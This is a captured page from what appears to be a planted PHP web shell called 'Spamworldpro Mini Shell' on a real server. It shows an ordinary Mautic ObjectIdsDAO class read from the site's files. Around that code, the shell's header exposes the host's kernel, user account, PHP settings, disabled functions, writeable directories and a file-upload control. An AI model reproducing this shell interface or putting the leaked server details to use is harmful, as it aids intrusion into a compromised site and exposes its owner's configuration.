Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/IntegrationsBundle/Sync/DAO/Sync/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/app/bundles/IntegrationsBundle/Sync/DAO/Sync/ObjectIdsDAO.php
<?php

declare(strict_types=1);

namespace Mautic\IntegrationsBundle\Sync\DAO\Sync;

use Mautic\IntegrationsBundle\Sync\Exception\ObjectNotFoundException;

/**
 * Holds IDs for different types of objects. Can be used for Mautic or integration objects.
 */
class ObjectIdsDAO
{
    /**
     * Expected structure:
     * [
     *      'objectA' => [12, 13],
     *      'objectB' => ['asfdaswty', 'wetegdfsd'],
     * ].
     *
     * @var array[]
     */
    private array $objects = [];

    /**
     * Expected $cliOptions structure:
     * [
     *      'abjectA:12',
     *      'abjectA:13',
     *      'abjectB:asfdaswty',
     *      'abjectB:wetegdfsd',
     * ]
     * Simply put, an array of object types and IDs separated by colon.
     *
     * @param string[] $cliOptions
     */
    public static function createFromCliOptions(array $cliOptions): self
    {
        $objectsIdDAO = new self();

        foreach ($cliOptions as $cliOption) {
            if (is_string($cliOption) && str_contains($cliOption, ':')) {
                $objectsIdDAO->addObjectId(...explode(':', $cliOption));
            }
        }

        return $objectsIdDAO;
    }

    public function addObjectId(string $objectType, string $id): void
    {
        if (!isset($this->objects[$objectType])) {
            $this->objects[$objectType] = [];
        }

        $this->objects[$objectType][] = $id;
    }

    /**
     * @return string[]
     *
     * @throws ObjectNotFoundException
     */
    public function getObjectIdsFor(string $objectType): array
    {
        if (empty($this->objects[$objectType])) {
            throw new ObjectNotFoundException("Object {$objectType} doesn't have any IDs to return");
        }

        return $this->objects[$objectType];
    }

    /**
     * @return string[]
     */
    public function getObjectTypes(): array
    {
        return array_keys($this->objects);
    }
}

Spamworldpro Mini